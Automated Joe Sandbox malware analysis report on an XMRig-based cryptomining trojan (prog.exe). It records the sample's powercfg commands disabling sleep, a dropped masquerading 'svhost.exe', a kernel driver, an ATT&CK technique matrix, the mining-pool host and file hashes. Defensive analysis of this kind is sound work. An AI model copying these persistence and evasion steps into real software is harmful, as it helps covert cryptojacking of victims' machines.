Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\prog.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Source: svchost.exe, 0000003C.00000002.3904025620.000001631AE2F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procexp.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	11 Windows Service	11 Windows Service	1 Masquerading	OS Credential Dumping	321 Security Software Discovery	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Service Execution	1 DLL Side-Loading	111 Process Injection	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
prog.exe	74%	ReversingLabs	Win64.Trojan.MintZard

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\win32\svhost.exe	74%	ReversingLabs	Win64.Trojan.MintZard
C:\Windows\Temp\pnhtlztmuvjx.sys	5%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pool.hashvault.pro	95.179.241.203	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://172.94.1q	svchost.exe, 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false		unknown
https://xmrig.com/docs/algorithms	svchost.exe, 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
95.179.241.203	pool.hashvault.pro	Netherlands		20473	AS-CHOOPAUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542825
Start date and time:	2024-10-26 16:34:52 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	63
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	prog.exe
Detection:	MAL
Classification:	mal100.spyw.evad.mine.winEXE@89/12@1/1
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target svchost.exe, PID 4696 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: prog.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
95.179.241.203	7K5DrSyL8Y.exe	Get hash	malicious	Xmrig	Browse
	eshkere.bat	Get hash	malicious	Xmrig	Browse
	frik.exe	Get hash	malicious	Xmrig	Browse
	C5Lg2JSPlD.exe	Get hash	malicious	SilentXMRMiner, Xmrig	Browse
	PT54FFSL7ET46RASB.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig, zgRAT	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	66dd2c2d3b88f_opera.exe	Get hash	malicious	Xmrig	Browse
	gutpOKDunr.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.FileRepMalware.3253.21057.exe	Get hash	malicious	Xmrig	Browse
	sc7Qi5VdE1.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool.hashvault.pro	bypass.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	loader.exe	Get hash	malicious	Xmrig	Browse	142.202.242.43
	7K5DrSyL8Y.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	eshkere.bat	Get hash	malicious	Xmrig	Browse	95.179.241.203
	frik.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	Google Chrome.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	e7WMhx18XN.exe	Get hash	malicious	SilentXMRMiner, Xmrig	Browse	45.76.89.70
	GcqJPBLD2Q.exe	Get hash	malicious	BitCoin Miner, SilentXMRMiner, UACMe, Xmrig	Browse	45.76.89.70
	C5Lg2JSPlD.exe	Get hash	malicious	SilentXMRMiner, Xmrig	Browse	95.179.241.203
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	45.76.89.70

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-CHOOPAUS	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	149.253.134.252
	iQPxJrxxaj.exe	Get hash	malicious	PikaBot	Browse	95.179.191.137
	iQPxJrxxaj.exe	Get hash	malicious	PikaBot	Browse	95.179.191.137
	jade.m68k.elf	Get hash	malicious	Mirai	Browse	66.42.126.40
	bypass.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	45.77.171.70
	http://www.xn--invitacionesdecumpleaos-dic.org/	Get hash	malicious	Unknown	Browse	45.63.66.114
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	78.141.232.197
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	140.82.60.141
	byte.arm.elf	Get hash	malicious	Okiru	Browse	44.175.219.158

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\pnhtlztmuvjx.sys	T52Z708x2p.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	lJ4EzPSKMj.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	Us051y7j25.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	bypass.exe	Get hash	malicious	Xmrig	Browse
	MDE_File_Sample_7046d0b264f80a016ec10158377c7e76c395cffb.zip	Get hash	malicious	Xmrig	Browse
	Q3Vq6yp33F.exe	Get hash	malicious	Xmrig	Browse
	2JkHiPgkLE.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	loader.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Win64.Evo-gen.31489.1077.exe	Get hash	malicious	Xmrig	Browse
C:\ProgramData\win32\svhost.exe	prog.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\win32\svhost.exe

Download File

Process:	C:\Users\user\Desktop\prog.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2663424
Entropy (8bit):	6.53722623620131
Encrypted:	false
SSDEEP:	49152:BMnw0O8lulPUtBbXmsGHePO2/cqKQBxLEHq86RM+uFVwYm6fYfOuFa1Y+PJq++W5:CnfxYW/b8em2/ctQBxGql2+Szm6fYfOo
MD5:	D3ADC3EC7B76556B7FAC591C33F31EA9
SHA1:	B7295FAE70F550AA2963DA196B08636094E26E93
SHA-256:	25231BA6616C0C1BBC4DDA82BDD46AD067577E16971BAE412B1192B250B456DC
SHA-512:	0EDD9263191B82E525DA655F76597BBD755174E8436E1E3A783A6A7F7064077E651A7D4DD36B3FD1B353BC435FF9D3ADE466D43327BA086DEE89B712CAB73985
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: prog.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."...........(.....@..........@............................. )...........`.................................................0...<.....).P.....(...............).x...............................(.......8...............p............................text...v........................... ..`.rdata...+.......,..................@..@.data...`.'.......'.................@....pdata........(.......(.............@..@.00cfg........(.......(.............@..@.tls..........(.......(.............@....rsrc...P.....).......(.............@..@.reloc..x.....).......(.............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0clplbcd.mp2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_120ozldt.xt5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qkqt4yur.xc1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wev4shdz.3ic.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:Nlllulc:NllUc
MD5:	9032B9849FD3773E547EFB4C2FBC1769
SHA1:	83BF286CF64D20654D825B5D4C105544F2C62AEA
SHA-256:	3EE14FD9E9AC1703D1005185DF2608CF27F3B1A8C6E1616794440892B6A96DB7
SHA-512:	FF480198D3B8843158C5EB56671F695F3E38EF8AF5A6D08CF4787380407CBDB5ABEDF372F53763C950FE6D20721CB049D8D3D247E801DF4438242CC3982ED2D8
Malicious:	false
Preview:	@...e.................................%.K.......................

C:\Windows\Temp\__PSScriptPolicyTest_53ji52ho.qwi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_agef4gqi.jsx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ptcbpiqz.4kc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_pzo521gx.ly2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\pnhtlztmuvjx.sys

Download File

Process:	C:\ProgramData\win32\svhost.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
